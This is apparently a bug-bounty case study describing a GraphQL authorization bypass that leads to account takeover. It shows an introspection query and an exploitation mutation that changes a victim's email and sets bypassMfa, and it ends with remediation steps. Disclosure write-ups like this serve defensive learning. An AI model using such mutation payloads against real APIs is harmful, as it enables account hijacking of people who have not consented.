GraphQL Authorization Bypass to Full Account Takeover (Bug Bounty Finding)

Case Study Summary

During a authorized web application penetration test on a SaaS platform, analysis of the GraphQL endpoint (/graphql) exposed a critical logic vulnerability allowing unauthenticated account takeover via mutation manipulation.

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Introspection Analysis

We initiated schema introspection using GraphQL Voyager and InQL:

query IntrospectionQuery {
  __schema {
    mutationType {
      fields {
        name
        args { name type { name } }
      }
    }
  }
}

We identified the mutation updateUserSecurityProfile(input: SecurityInput!).

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Vulnerability Mechanics

While the UI restricted email and password updates to authenticated users with 2FA confirmation, the backend GraphQL resolver failed to enforce session context validation on the targetUserId argument:

# Exploitation Payload
mutation {
  updateUserSecurityProfile(input: {
    targetUserId: "usr_victim_99182",
    primaryEmail: "attacker-controlled@inbox.com",
    bypassMfa: true
  }) {
    success
    statusMessage
  }
}

The resolver directly committed the update to the user record without verifying whether context.currentUser.id === input.targetUserId.

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Remediation Applied

- Implemented strict context-based authorization middleware across all GraphQL mutation resolvers. - Deprecated client-supplied user identifiers in favor of cryptographically verified session tokens.